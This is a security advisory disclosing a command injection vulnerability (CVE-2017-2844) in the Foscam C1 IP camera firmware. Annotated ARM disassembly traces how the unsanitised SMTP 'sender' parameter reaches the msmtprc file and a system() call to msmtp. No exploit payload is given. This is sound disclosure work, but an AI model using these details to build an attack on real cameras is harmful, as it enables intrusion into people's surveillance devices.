Talos Vulnerability Report

TALOS-2017-0346

Foscam IP Video Camera CGIProxy.fcgi SMTP Test Sender Parameter Configuration Command Injection Vulnerability

June 19, 2017
CVE Number

CVE-2017-2844

Summary

An exploitable command injection vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can allow for a user to inject arbitrary data in the “msmtprc” configuration file resulting in command execution. An attacker can simply send an HTTP request to the device to trigger this vulnerability.

Tested Versions

Foscam, Inc. Indoor IP Camera C1 Series System Firmware Version: 1.9.3.17 Application Firmware Version: 2.52.2.37 Web Version: 2.0.1.1 Plug-In Version: 3.3.0.5

Product URLs

Foscam

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-77 - Improper Neutralization of Special Elements used in a Command (‘Command Injection’)

Details

Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the ARM architecture. Foscam is considered one of the most common security cameras out on the current market.

When various services are started, a service will first register a callback using the CMsgClient::registerMsgHandle function [1]. This will register a function to be called [2] when another service dispatches a message of the specified code [3]. An example of this registration process is handled inside the FCGI_Init function of the “CGIProxy.fcgi” service using the following code:

.text:00009F20                       FCGX_Init_1f20
.text:00009F20
.text:00009F20 F0 41 2D E9                       STMFD   SP!, {R4-R8,LR}
.text:00009F24 41 DE 4D E2                       SUB     SP, SP, #0x410
.text:00009F28 08 D0 4D E2                       SUB     SP, SP, #8
.text:00009F2C 05 FC FF EB                       BL      FCGX_Init
.text:00009F2C
.text:00009F30 00 10 50 E2                       SUBS    R1, R0, #0
.text:00009F34 44 01 9F 15                       LDRNE   R0, =str.FCGX_Initfailed
.text:00009F38 05 00 00 1A                       BNE     leave_exit_1f54
.text:00009F3C
.text:00009F3C 40 01 9F E5                       LDR     R0, =gv_theRequest_10b74
.text:00009F40 01 20 A0 E1                       MOV     R2, R1
.text:00009F44 1A FC FF EB                       BL      FCGX_InitRequest
.text:00009F48
.text:00009F48 00 00 50 E3                       CMP     R0, #0
.text:00009F4C 03 00 00 0A                       BEQ     loc_9F60
...
.text:00009F60                       loc_9F60
.text:00009F60 DB FE FF EB                       BL      registerMsgClients_1ad4

.text:00009AD4                       registerMsgClients_1ad4
.text:00009AD4 10 40 2D E9                       STMFD   SP!, {R4,LR}
.text:00009AD4
.text:00009AD8 30 40 9F E5                       LDR     R4, =gp_cMsgClient_bac8
.text:00009ADC 30 10 9F E5                       LDR     R1, =0x40004001                                                ; [3] code
.text:00009AE0 04 00 A0 E1                       MOV     R0, R4
.text:00009AE4 2C 20 9F E5                       LDR     R2, =CgiProxySnapPicHandler_1e38                               ; [2] callback function
.text:00009AE8 3D FD FF EB                       BL      CMsgClient::registerMsgHandle(int,void (*)(char const*,int))   ; [1]
.text:00009AE8
.text:00009AEC 04 00 A0 E1                       MOV     R0, R4
.text:00009AF0 24 10 9F E5                       LDR     R1, =0x3001
.text:00009AF4 1C 20 9F E5                       LDR     R2, =CgiProxySnapPicHandler_1e38
.text:00009AF8 39 FD FF EB                       BL      CMsgClient::registerMsgHandle(int,void (*)(char const*,int))
.text:00009AF8
.text:00009AFC 04 00 A0 E1                       MOV     R0, R4
.text:00009B00 18 10 9F E5                       LDR     R1, =0x3002
.text:00009B04 0C 20 9F E5                       LDR     R2, =CgiProxySnapPicHandler_1e38
.text:00009B08 10 40 BD E8                       LDMFD   SP!, {R4,LR}
.text:00009B0C 34 FD FF EA                       B       CMsgClient::registerMsgHandle(int,void (*)(char const*,int))

After the “CGIProxy.fcgi” service decodes an http request that’s forwarded from the http daemon, the service will copy the decoded query into a buffer on the stack [4]. Once this is done, the buffer will then be used to pass the decoded query to CMsgClient::sendMsg. This will dispatch the query to the shared messaging subsystem using the code 0x4001 at [5]. At this point, the service that handles the specified code will be woken up to handle the specified request.

.text:00009FA8 14 70 8D E2                       ADD     R7, SP, #0x430+lv_dest_41c
.text:00009FAC 08 10 A0 E1                       MOV     R1, R8
.text:00009FB0 07 00 A0 E1                       MOV     R0, R7
.text:00009FB4 34 FC FF EB                       BL      strcpy                     ; [4]
.text:00009FB8
.text:00009FB8 08 00 A0 E1                       MOV     R0, R8
.text:00009FBC C0 FB FF EB                       BL      strlen
.text:00009FC0
.text:00009FC0 CC 30 9F E5                       LDR     R3, =0x404
.text:00009FC4 00 30 8D E5                       STR     R3, [SP]
.text:00009FC8 C8 10 9F E5                       LDR     R1, =0x4001                ; [5]
.text:00009FCC 07 30 A0 E1                       MOV     R3, R7                     ; uri request
.text:00009FD0 01 20 A0 E3                       MOV     R2, #1
.text:00009FD4 04 40 8D E5                       STR     R4, [SP,#4]
.text:00009FD8 08 40 8D E5                       STR     R4, [SP,#8]
.text:00009FDC 0C 40 8D E5                       STR     R4, [SP,#12]
.text:00009FE0 14 04 8D E5                       STR     R0, [SP,#0x430+var_1C]
.text:00009FE4 B0 00 9F E5                       LDR     R0, =gp_cMsgClient_bac8
.text:00009FE8 CD FB FF EB                       BL      CMsgClient::sendMsg(int,char,char const*,int,int,int,char *)

The handler for code 0x4001 is in the “webService” binary and is done by the function executeCGICmd at address 0x1e5a4. At the beginning of this function, the service will call a function [6] that’s responsible for extracting the user name, password, and command that was specified within the user’s query. Once the parameters have been extracted and copied into a local buffer on the stack, the command will be passed to the function call at [7] in order to determine the correct command function which is stored to funcptr. If authentication is not required for the command, then the branch at [8] will execute the function pointer returned by findJsonCallbackCommand at [7]. If authentication is required from the command, then the user name and password will be checked via strcmp and then the function call at [9] will execute the function pointer.

.text:0001E5A4                       executeCGICmd
.text:0001E5A4
.text:0001E5A4 F0 41 2D E9                       STMFD   SP!, {R4-R8,LR}
.text:0001E5A8 28 60 80 E2                       ADD     R6, R0, #0x28
.text:0001E5AC 11 DD 4D E2                       SUB     SP, SP, #0x440
.text:0001E5B0 00 80 A0 E1                       MOV     R8, R0
.text:0001E5B4 06 10 A0 E1                       MOV     R1, R6
.text:0001E5B8 C4 00 9F E5                       LDR     R0, =unk_D5A68
.text:0001E5BC 3A 2A 00 EB                       BL      sub_28EAC                          ; [6]

.text:00028EAC                       sub_28EAC
.text:00028EAC
.text:00028EAC F0 47 2D E9                       STMFD   SP!, {R4-R10,LR}
.text:00028EB0 00 40 51 E2                       SUBS    R4, R1, #0
.text:00028EB4 00 80 A0 E1                       MOV     R8, R0
.text:00028EB8 46 DF 4D E2                       SUB     SP, SP, #0x118
.text:00028EBC 00 00 E0 03                       MOVEQ   R0, #0xFFFFFFFF
.text:00028EC0 8B 00 00 0A                       BEQ     leaving_290F4
...
.text:00028F4C 00 00 50 E3                       CMP     R0, #0
.text:00028F50 0C 00 00 1A                       BNE     findCmdCallback_28F88
...
.text:00028F88                       findCmdCallback_28F88
.text:00028F88 05 00 A0 E1                       MOV     R0, R5
.text:00028F8C 45 1F 8D E2                       ADD     R1, SP, #0x138+lp_funcptr?_24
.text:00028F90 89 FC FF EB                       BL      findJsonCallbackCommand_281BC      ; [7]
.text:00028F94 00 90 50 E2                       SUBS    R9, R0, #0
.text:00028F98 06 00 00 0A                       BEQ     checkIfAuthNeeded_28FB8
...
.text:00028FB8                       checkIfAuthNeeded_28FB8
.text:00028FB8 14 31 9D E5                       LDR     R3, [SP,#0x138+lp_funcptr?_24]
.text:00028FBC 54 21 9F E5                       LDR     R2, =0xFFFF
.text:00028FC0 08 10 93 E5                       LDR     R1, [R3,#8]
.text:00028FC4 02 00 51 E1                       CMP     R1, R2
.text:00028FC8 06 00 00 1A                       BNE     authenticate_28FE8
...
.text:00028FD8 04 00 A0 E1                       MOV     R0, R4
.text:00028FDC 33 FF 2F E1                       BLX     R3                                 ; [8]
.text:00028FE0 09 00 A0 E1                       MOV     R0, R9
.text:00028FE4 42 00 00 EA                       B       leaving_290F4
...
.text:000290E0 04 00 A0 E1                       MOV     R0, R4
.text:000290E4 33 FF 2F E1                       BLX     R3                                 ; [9]
.text:000290E8 05 00 A0 E1                       MOV     R0, R5
.text:000290EC 00 00 00 EA                       B       leaving_290F4
...
.text:000290F4 46 DF 8D E2                       ADD     SP, SP, #0x118
.text:000290F8 F0 87 BD E8                       LDMFD   SP!, {R4-R10,PC}

When handling the “CGIProxy.fcgi” command “smtpTest”, the function smtpTest_239bc will be called. This function is responsible for testing the parameters to be used for sending e-mails. The function extracts the parameters for “smtpServer”, “port”, “isNeedAuth”, “tls”, “user”, “password”, “sender” and forwards them via IPC by calling CMsgClient::sendMsg, using the code 0x6069 at [10]. At this point, the service that handles the specified code will be woken up to handle the specified request.

.text:0002B9BC                       smtpTest_239bc
.text:0002B9BC
.text:0002B9BC 30 40 2D E9                       STMFD   SP!, {R4,R5,LR}
.text:0002B9C0 DC 30 9F E5                       LDR     R3, =0xAE9
.text:0002B9C4 7B DF 4D E2                       SUB     SP, SP, #0x1EC
.text:0002B9C8 00 30 8D E5                       STR     R3, [SP,#0x1F8+var_1F8]
.text:0002B9CC D4 30 9F E5                       LDR     R3, =str.CGICommand_smtpTest
...
.text:0002BA00 B0 10 9F E5                       LDR     R1, =str.smtpServer
.text:0002BA04 00 00 83 E5                       STR     R0, [R3]
.text:0002BA08 04 00 A0 E1                       MOV     R0, R4
.text:0002BA0C 0D F2 FF EB                       BL      extract_param
...
.text:0002BA18 9C 10 9F E5                       LDR     R1, =str.port
.text:0002BA1C 09 F2 FF EB                       BL      extract_param
...
.text:0002BA28 90 10 9F E5                       LDR     R1, =str.isNeedAuth
.text:0002BA2C 05 F2 FF EB                       BL      extract_param
...
.text:0002BA38 84 10 9F E5                       LDR     R1, =str.tls
.text:0002BA3C 01 F2 FF EB                       BL      extract_param
...
.text:0002BA48 78 10 9F E5                       LDR     R1, =str.user
.text:0002BA4C FD F1 FF EB                       BL      extract_param
..
.text:0002BA58 6C 10 9F E5                       LDR     R1, =str.password
.text:0002BA5C F9 F1 FF EB                       BL      extract_param
...
.text:0002BA68 60 10 9F E5                       LDR     R1, =str.sender
.text:0002BA6C F5 F1 FF EB                       BL      extract_param
...
.text:0002BA88 44 10 9F E5                       LDR     R1, =0x6069                        ; [10]
...
.text:0002BA94 3C 00 9F E5                       LDR     R0, =dword_9FC90 ; this
.text:0002BA98 EF 9B FF EB                       BL      CMsgClient::sendMsg(int,char,char const*,int,int,int,char *)
.text:0002BA9C 7B DF 8D E2                       ADD     SP, SP, #0x1EC
.text:0002BAA0 30 80 BD E8                       LDMFD   SP!, {R4,R5,PC}

The handler for code 0x6069 is in the “devMng” binary and is done by the function OnDevMngMsgSmtpMailTest_d9e4 at address 0x159e4. This function extracts the product model of the camera and replies to the message with this information. The reply is handled back in the “webService” binary by the function OnWebServiceMsgSmtpMailTestReply_e474 at address 0x16474. This function parses the numeric function arguments ([11] “port”, “isNeedAuth”, etc.) and calls testSmtpServer_52cf0.

.text:00016474                       OnWebServiceMsgSmtpMailTestReply_e474
.text:00016474
.text:00016474 000 F0 47 2D E9                       STMFD   SP!, {R4-R10,LR}
...
.text:000164E0 4D0 E8 00 85 E2                       ADD     R0, R5, #0xE8   ; nptr
.text:000164E4 4D0 8D F3 FF EB                       BL      atoi                           ; [11]
...
.text:00016504 4D0 01 3C 85 E2                       ADD     R3, R5, #0x100
.text:00016508 4D0 0C 30 8D E5                       STR     R3, [SP,#0x4B0+var_4A4]
.text:0001650C 4D0 05 3D 85 E2                       ADD     R3, R5, #0x140
.text:00016510 4D0 10 30 8D E5                       STR     R3, [SP,#0x4B0+var_4A0]
.text:00016514 4D0 06 1D 85 E2                       ADD     R1, R5, #0x180
.text:00016518 4D0 68 30 85 E2                       ADD     R3, R5, #0x68
.text:0001651C 4D0 08 20 A0 E1                       MOV     R2, R8
.text:00016520 4D0 00 06 8D E8                       STMEA   SP, {R9,R10}
.text:00016524 4D0 14 70 8D E5                       STR     R7, [SP,#0x4B0+var_49C]
.text:00016528 4D0 4A 5E 8D E2                       ADD     R5, SP, #0x4B0+var_10
.text:0001652C 4D0 08 50 85 E2                       ADD     R5, R5, #8
.text:00016530 4D0 08 00 8D E5                       STR     R0, [SP,#0x4B0+var_4A8]
.text:00016534 4D0 88 00 9F E5                       LDR     R0, =dword_A4D68
.text:00016538 4D0 EC 11 01 EB                       BL      testSmtpServer_52cf0

The function testSmtpServer_52cf0 receives 9 parameters: “C1” (the product model), “smtpServer”, “sender”, “port”, “isNeedAuth”, “tls”, “user”, “password” and a pointer to a 128 bytes stack variable. First the function checks if the parameters are non-null, then parses the SMTP server [12], creates the subject of the mail using sprintf [13] and calls sendSmtpTestMail_51f6c [14].

.text:0005ACF0                       testSmtpServer_52cf0
.text:0005ACF0
.text:0005ACF0 F0 4F 2D E9                           STMFD   SP!, {R4-R11,LR}
.text:0005ACFC 00 70 52 E2                           SUBS    R7, R2, #0                     ; [12]
...
.text:0005AE00                       loc_5AE00
.text:0005AE00 67 5E 8D E2                           ADD     R5, SP, #0x710+s
.text:0005AE04 63 AE 8D E2                           ADD     R10, SP, #0x710+var_E0
.text:0005AE08 05 00 A0 E1                           MOV     R0, R5
.text:0005AE0C 00 10 A0 E3                           MOV     R1, #0
.text:0005AE10 40 20 A0 E3                           MOV     R2, #0x40
.text:0005AE14 33 E0 FE EB                           BL      memset
.text:0005AE18 0A 00 A0 E1                           MOV     R0, R10
.text:0005AE1C 00 10 A0 E3                           MOV     R1, #0
.text:0005AE20 40 20 A0 E3                           MOV     R2, #0x40
.text:0005AE24 2F E0 FE EB                           BL      memset
.text:0005AE28 0A 20 A0 E1                           MOV     R2, R10
.text:0005AE2C 05 30 A0 E1                           MOV     R3, R5
.text:0005AE30 8C 12 9F E5                           LDR     R1, =str.az___AZ_09_s          ; "%[a-z,_,A-Z,0-9].%s"
.text:0005AE34 07 00 A0 E1                           MOV     R0, R7
.text:0005AE38 C4 DF FE EB                           BL      sscanf                         ; [12]
...
.text:0005AFD8                       loc_5AFD8
.text:0005AFD8 10 11 9F E5                           LDR     R1, =str.IPCameraSMTPtestmail  ; "%s:IPCamera SMTP test mail"
.text:0005AFDC 0B 20 A0 E1                           MOV     R2, R11
.text:0005AFE0 05 00 A0 E1                           MOV     R0, R5
.text:0005AFE4 19 E0 FE EB                           BL      sprintf                        ; [13]
.text:0005AFE8 00 30 A0 E3                           MOV     R3, #0
.text:0005AFEC 00 30 8D E5                           STR     R3, [SP,#0x710+var_710]
.text:0005AFF0 04 30 8D E5                           STR     R3, [SP,#0x710+var_70C]
.text:0005AFF4 10 37 9D E5                           LDR     R3, [SP,#0x710+port]
.text:0005AFF8 14 30 8D E5                           STR     R3, [SP,#0x710+var_6FC]
.text:0005AFFC 14 37 9D E5                           LDR     R3, [SP,#0x710+isNeedAuth]
.text:0005B000 18 30 8D E5                           STR     R3, [SP,#0x710+var_6F8]
.text:0005B004 18 37 9D E5                           LDR     R3, [SP,#0x710+tls]
.text:0005B008 1C 30 8D E5                           STR     R3, [SP,#0x710+var_6F4]
.text:0005B00C 20 37 9D E5                           LDR     R3, [SP,#0x710+password]
.text:0005B010 24 30 8D E5                           STR     R3, [SP,#0x710+var_6EC]
.text:0005B014 14 30 A0 E3                           MOV     R3, #0x14
.text:0005B018 2C 30 8D E5                           STR     R3, [SP,#0x710+var_6E4]
.text:0005B01C 08 00 A0 E1                           MOV     R0, R8
.text:0005B020 05 10 A0 E1                           MOV     R1, R5
.text:0005B024 C8 20 9F E5                           LDR     R2, =str.body                  ; "This is a test mail sent by your IPCamera"
.text:0005B028 74 30 9F E5                           LDR     R3, =unk_8D28B
.text:0005B02C 08 40 8D E5                           STR     R4, [SP,#0x710+var_708]
.text:0005B030 0C 40 8D E5                           STR     R4, [SP,#0x710+var_704]
.text:0005B034 10 70 8D E5                           STR     R7, [SP,#0x710+src]
.text:0005B038 20 90 8D E5                           STR     R9, [SP,#0x710+var_6F0]
.text:0005B03C 28 60 8D E5                           STR     R6, [SP,#0x710+var_6E8]
.text:0005B040 C9 FB FF EB                           BL      sendSmtpTestMail_51f6c         ; [14]

This function takes care of checking again that the parameters are valid by comparing them with null. Then it proceeds to copying the SMTP username and password in local variables [15] [16], and extracting at most 4 recipients from the comma-separated list provided from the user using the “sender” parameter [17]. Note that extract_recipients also allows “;” and “ “ as separators. Parameters are then collected and passed to the function smtpTestConfigure [18].

.text:00059F6C                       sendSmtpTestMail_51f6c
.text:00059F6C
.text:00059F6C F0 4F 2D E9                   STMFD   SP!, {R4-R11,LR}
...
.text:0005A0F0 00 00 52 E3                   CMP     R2, #0
.text:0005A0F4 18 10 94 05                   LDREQ   R1, [R4,#0x18]
.text:0005A0F8 C0 1A 9D 15                   LDRNE   R1, [SP,#0xAA0+src]
.text:0005A0FC 1D E5 FE EB                   BL      strcpy                                 ; [15]
.text:0005A100 C4 3A 9D E5                   LDR     R3, [SP,#0xAA0+arg_24]
.text:0005A104 9B 0E 8D E2                   ADD     R0, SP, #0xAA0+dest
.text:0005A108 00 00 53 E3                   CMP     R3, #0
.text:0005A10C 1C 10 94 05                   LDREQ   R1, [R4,#0x1C]
.text:0005A110 C4 1A 9D 15                   LDRNE   R1, [SP,#0xAA0+arg_24]
.text:0005A114 17 E5 FE EB                   BL      strcpy                                 ; [16]
...
.text:0005A280 0A 10 A0 E1                   MOV     R1, R10
.text:0005A284 07 20 A0 E1                   MOV     R2, R7
.text:0005A288 04 00 A0 E1                   MOV     R0, R4
.text:0005A28C DD FA FF EB                   BL      extract_recipients                     ; [17]
.text:0005A290 08 20 A0 E1                   MOV     R2, R8
.text:0005A294 00 10 A0 E1                   MOV     R1, R0
.text:0005A298 04 00 A0 E1                   MOV     R0, R4
.text:0005A29C D9 FA FF EB                   BL      extract_recipients                     ; [17]
.text:0005A2A0 09 20 A0 E1                   MOV     R2, R9
.text:0005A2A4 00 10 A0 E1                   MOV     R1, R0
.text:0005A2A8 04 00 A0 E1                   MOV     R0, R4
.text:0005A2AC D5 FA FF EB                   BL      extract_recipients                     ; [17]
.text:0005A2B0 0B 20 A0 E1                   MOV     R2, R11
.text:0005A2B4 00 10 A0 E1                   MOV     R1, R0
.text:0005A2B8 04 00 A0 E1                   MOV     R0, R4
.text:0005A2BC D1 FA FF EB                   BL      extract_recipients                     ; [17]
...
.text:0005A404 18 30 9D E5                   LDR     R3, [SP,#0xAA0+var_A88]
.text:0005A408 00 30 8D E5                   STR     R3, [SP,#0xAA0+var_AA0]
.text:0005A40C 9F 3E 8D E2                   ADD     R3, SP, #0xAA0+s
.text:0005A410 04 30 8D E5                   STR     R3, [SP,#0xAA0+var_A9C]
.text:0005A414 9B 3E 8D E2                   ADD     R3, SP, #0xAA0+dest
.text:0005A418 CC 2A 9D E5                   LDR     R2, [SP,#0xAA0+arg_2C]
.text:0005A41C 08 30 8D E5                   STR     R3, [SP,#0xAA0+var_A98]
.text:0005A420 7B 3E 8D E2                   ADD     R3, SP, #0xAA0+var_2F0
.text:0005A424 A3 1E 8D E2                   ADD     R1, SP, #0xAA0+var_70
.text:0005A428 0C 30 8D E5                   STR     R3, [SP,#0xAA0+var_A94]
.text:0005A42C 10 20 8D E5                   STR     R2, [SP,#0xAA0+var_A90]
.text:0005A430 1C 30 9D E5                   LDR     R3, [SP,#0xAA0+var_A84]
.text:0005A434 20 20 9D E5                   LDR     R2, [SP,#0xAA0+var_A80]
.text:0005A438 04 00 A0 E1                   MOV     R0, R4
.text:0005A43C 6D FB FF EB                   BL      smtpTestConfigure                      ; [18]

smtpTestConfigure simply opens a file in “/usr/local/etc/msmtprc” and populates it with the “msmtp” configuration, by adding user-supplied strings like “host”, “port”, “from”, “user”, “password” [19]. The “sender” parameter is written without any sanitization on the “from “ line of the file.

.text:000591F8                       smtpTestConfigure
.text:000591F8
.text:000591F8 F0 45 2D E9                   STMFD   SP!, {R4-R8,R10,LR}
.text:000591FC 1C 02 9F E5                   LDR     R0, =str._usr_local_                   ; "/usr/local/"
...
.text:0005921C 54 E5 FE EB                   BL      mkdir
.text:00059224 F8 01 9F E5                   LDR     R0, =str._usr_local_etc_               ; "/usr/local/etc/"
.text:00059228 51 E5 FE EB                   BL      mkdir
.text:0005922C 20 10 A0 E3                   MOV     R1, #0x20
.text:00059230 10 00 A0 E3                   MOV     R0, #0x10
.text:00059234 7A 1A FF EB                   BL      std::operator|
.text:00059238 04 A0 8D E2                   ADD     R10, SP, #0x138+var_134
.text:0005923C E4 11 9F E5                   LDR     R1, =str._usr_local_etc_msmtprc        ; "/usr/local/etc/msmtprc"
.text:00059240 00 20 A0 E1                   MOV     R2, R0
.text:00059244 0A 00 A0 E1                   MOV     R0, R10
.text:00059248 68 E4 FE EB                   BL      std::basic_ofstream::basic_ofstream()
.text:0005924C 0A 00 A0 E1                   MOV     R0, R10
.text:00059250 D4 11 9F E5                   LDR     R1, =str.defaults                      ; "defaults\n"
.text:00059254 10 E5 FE EB                   BL      std::operator<<
.text:00059258 04 00 8D E2                   ADD     R0, SP, #0x138+var_134
.text:0005925C CC 11 9F E5                   LDR     R1, =str.logfile_tmp__msmtp_log        ; "logfile /tmp/.msmtp.log\n"
.text:00059260 0D E5 FE EB                   BL      std::operator<<
.text:00059264 04 00 8D E2                   ADD     R0, SP, #0x138+var_134
.text:00059268 C4 11 9F E5                   LDR     R1, =str.accountfoscam                 ; "account foscam\n"
.text:0005926C 0A E5 FE EB                   BL      std::operator<<
.text:00059270 04 00 8D E2                   ADD     R0, SP, #0x138+var_134
.text:00059274 BC 11 9F E5                   LDR     R1, =str.host                          ; "host "
.text:00059278 07 E5 FE EB                   BL      std::operator<<
.text:0005927C 05 10 A0 E1                   MOV     R1, R5                                 ; [19]
.text:00059280 05 E5 FE EB                   BL      std::operator<<
.text:00059284 B0 11 9F E5                   LDR     R1, =str.newline
.text:00059288 03 E5 FE EB                   BL      std::operator<<
.text:0005928C 04 00 8D E2                   ADD     R0, SP, #0x138+var_134
.text:00059290 A8 11 9F E5                   LDR     R1, =str.port_0                        ; "port "
.text:00059294 00 E5 FE EB                   BL      std::operator<<
.text:00059298 06 10 A0 E1                   MOV     R1, R6                                 ; [19]
.text:0005929C 34 E8 FE EB                   BL      std::ostream::operator<<(int)
.text:000592A0 94 11 9F E5                   LDR     R1, =str.newline
.text:000592A4 FC E4 FE EB                   BL      std::operator<<
.text:000592A8 04 00 8D E2                   ADD     R0, SP, #0x138+var_134
.text:000592AC 90 11 9F E5                   LDR     R1, =str.timeout                       ; "timeout "
.text:000592B0 F9 E4 FE EB                   BL      std::operator<<
.text:000592B4 48 11 9D E5                   LDR     R1, [SP,#0x138+arg_10]
.text:000592B8 2D E8 FE EB                   BL      std::ostream::operator<<
.text:000592BC 78 11 9F E5                   LDR     R1, =str.newline
.text:000592C0 F5 E4 FE EB                   BL      std::operator<<
.text:000592C4 00 30 D7 E5                   LDRB    R3, [R7]
.text:000592C8 04 00 8D E2                   ADD     R0, SP, #0x138+var_134
.text:000592CC 00 00 53 E3                   CMP     R3, #0
.text:000592D0 70 11 9F 05                   LDREQ   R1, =str.auto_fromon                   ; "auto_from on\n"
.text:000592D4 04 00 00 0A                   BEQ     loc_592EC
.text:000592D8 6C 11 9F E5                   LDR     R1, =str.from                          ; "from "
.text:000592DC EE E4 FE EB                   BL      std::operator<<
.text:000592E0 07 10 A0 E1                   MOV     R1, R7                                 ; [19]
.text:000592E4 EC E4 FE EB                   BL      std::operator<<
.text:000592E8 4C 11 9F E5                   LDR     R1, =str.newline
.text:000592EC
.text:000592EC                       loc_592EC
.text:000592EC EA E4 FE EB                   BL      std::operator<<
.text:000592F0 04 00 8D E2                   ADD     R0, SP, #0x138+var_134
.text:000592F4 54 11 9F E5                   LDR     R1, =str.auth_0                        ; "auth "
.text:000592F8 E7 E4 FE EB                   BL      std::operator<<
.text:000592FC 50 31 9F E5                   LDR     R3, =(str.tlsoff+4)                    ; "off"
.text:00059300 00 00 58 E3                   CMP     R8, #0
.text:00059304 4C 11 9F E5                   LDR     R1, =str.login                         ; "login"
.text:00059308 03 10 A0 01                   MOVEQ   R1, R3
.text:0005930C E2 E4 FE EB                   BL      std::operator<<
.text:00059310 24 11 9F E5                   LDR     R1, =str.newline
.text:00059314 E0 E4 FE EB                   BL      std::operator<<
.text:00059318 04 00 8D E2                   ADD     R0, SP, #0x138+var_134
.text:0005931C 38 11 9F E5                   LDR     R1, =str.user                          ; "user "
.text:00059320 DD E4 FE EB                   BL      std::operator<<
.text:00059324 3C 11 9D E5                   LDR     R1, [SP,#0x138+arg_4]                  ; [19]
.text:00059328 DB E4 FE EB                   BL      std::operator<<
.text:0005932C 08 11 9F E5                   LDR     R1, =str.newline
.text:00059330 D9 E4 FE EB                   BL      std::operator<<
.text:00059334 04 00 8D E2                   ADD     R0, SP, #0x138+var_134
.text:00059338 20 11 9F E5                   LDR     R1, =str.password_0                    ; "password "
.text:0005933C D6 E4 FE EB                   BL      std::operator<<
.text:00059340 40 11 9D E5                   LDR     R1, [SP,#0x138+arg_8]                  ; [19]
.text:00059344 D4 E4 FE EB                   BL      std::operator<<
.text:00059348 EC 10 9F E5                   LDR     R1, =str.newline
.text:0005934C D2 E4 FE EB                   BL      std::operator<<
.text:00059350 04 00 8D E2                   ADD     R0, SP, #0x138+var_134
.text:00059354 08 11 9F E5                   LDR     R1, =str.accountdefault_foscam         ; "account default : foscam\n"
.text:00059358 CF E4 FE EB                   BL      std::operator<<
.text:0005935C 00 00 54 E3                   CMP     R4, #0
.text:00059360 04 00 8D 02                   ADDEQ   R0, SP, #0x138+var_134
.text:00059364 FC 10 9F 05                   LDREQ   R1, =str.tlsoff                        ; "tls off"
.text:00059368 17 00 00 0A                   BEQ     loc_593CC
.text:0005936C 01 00 54 E3                   CMP     R4, #1
.text:00059370 07 00 00 1A                   BNE     loc_59394
.text:00059374 04 00 8D E2                   ADD     R0, SP, #0x138+var_134
.text:00059378 EC 10 9F E5                   LDR     R1, =str.tlson                         ; "tls on"
.text:0005937C C6 E4 FE EB                   BL      std::operator<<
.text:00059380 B4 10 9F E5                   LDR     R1, =str.newline
.text:00059384 C4 E4 FE EB                   BL      std::operator<<
.text:00059388 04 00 8D E2                   ADD     R0, SP, #0x138+var_134
.text:0005938C DC 10 9F E5                   LDR     R1, =unk_87CF3
.text:00059390 08 00 00 EA                   B       loc_593B8
...
.text:0005940C 04 00 8D E2                   ADD     R0, SP, #0x138+var_134
.text:00059410 AF E5 FE EB                   BL      std::basic_ofstream::~basic_ofstream()
.text:00059414 04 00 A0 E1                   MOV     R0, R4
.text:00059418 47 DF 8D E2                   ADD     SP, SP, #0x11C
.text:0005941C F0 85 BD E8                   LDMFD   SP!, {R4-R8,R10,PC}

Back into the parent function, the execution continues with encoding the mail subject [20], preparing a “/tmp/.mail” file containing the mail contents [21], concatenating the previously extracted recipients, removing any old “/tmp/.msmtp.log” log file [22] and calling “msmtp” using system at [23].

...
.text:0005A480 A7 0E 8D E2                   ADD     R0, SP, #0xAA0+var_30
.text:0005A484 3C E3 FE EB                   BL      CBase64Codec::Encode(uchar const*,int) ; [20]
...
.text:0005A4BC 14 16 9F E5                   LDR     R1, =str._UTF8_B_s_                    ; "=?UTF-8?B?%s?="
.text:0005A4C0 74 2A 9D E5                   LDR     R2, [SP,#0xAA0+var_2C]
.text:0005A4C4 07 00 A0 E1                   MOV     R0, R7
.text:0005A4C8 E0 E2 FE EB                   BL      sprintf                                ; [20]
.text:0005A4CC 28 30 9D E5                   LDR     R3, [SP,#0xAA0+var_A78]
.text:0005A4D0 04 30 8D E5                   STR     R3, [SP,#0xAA0+var_A9C]
.text:0005A4D4 A0 3A 9D E5                   LDR     R3, [SP,#0xAA0+arg_0]
.text:0005A4D8 2C 20 9D E5                   LDR     R2, [SP,#0xAA0+var_A74]
.text:0005A4DC 0C 30 8D E5                   STR     R3, [SP,#0xAA0+var_A94]
.text:0005A4E0 A4 3A 9D E5                   LDR     R3, [SP,#0xAA0+arg_4]
.text:0005A4E4 08 20 8D E5                   STR     R2, [SP,#0xAA0+var_A98]
.text:0005A4E8 10 30 8D E5                   STR     R3, [SP,#0xAA0+var_A90]
.text:0005A4EC 04 00 A0 E1                   MOV     R0, R4
.text:0005A4F0 E4 15 9F E5                   LDR     R1, =str.ipcamera                      ; "IPCamera"
.text:0005A4F4 7B 2E 8D E2                   ADD     R2, SP, #0xAA0+var_2F0
.text:0005A4F8 63 3E 8D E2                   ADD     R3, SP, #0xAA0+var_470
.text:0005A4FC 00 70 8D E5                   STR     R7, [SP,#0xAA0+var_AA0]
.text:0005A500 DA FC FF EB                   BL      generateSnapPicEmail__51870            ; [21]
...
.text:0005A620 D0 04 9F E5                   LDR     R0, =str._tmp__msmtp_log               ; "/tmp/.msmtp.log"
.text:0005A624 37 E0 FE EB                   BL      remove                                 ; [22]
.text:0005A628 06 00 A0 E1                   MOV     R0, R6
.text:0005A62C F3 E2 FE EB                   BL      pthread_mutex_unlock
.text:0005A630 73 4E 8D E2                   ADD     R4, SP, #0xAA0+var_370
.text:0005A634 BC 04 9F E5                   LDR     R0, =str._tmp__msmtp_log               ; "/tmp/.msmtp.log"
.text:0005A638 32 E0 FE EB                   BL      remove                                 ; [22]
.text:0005A63C 04 00 A0 E1                   MOV     R0, R4
.text:0005A640 B4 14 9F E5                   LDR     R1, =str.catsmsmtps                    ; "cat %s | msmtp %s &"
.text:0005A644 B4 24 9F E5                   LDR     R2, =str.tmp__mail                     ; "/tmp/.mail"
.text:0005A648 63 3E 8D E2                   ADD     R3, SP, #0xAA0+var_470
.text:0005A64C 7F E2 FE EB                   BL      sprintf
.text:0005A650 04 00 A0 E1                   MOV     R0, R4
.text:0005A654 BC DF FE EB                   BL      system                                 ; [23]

Once “msmtp” loads, it reads the configuration file and sends the mail accordingly.

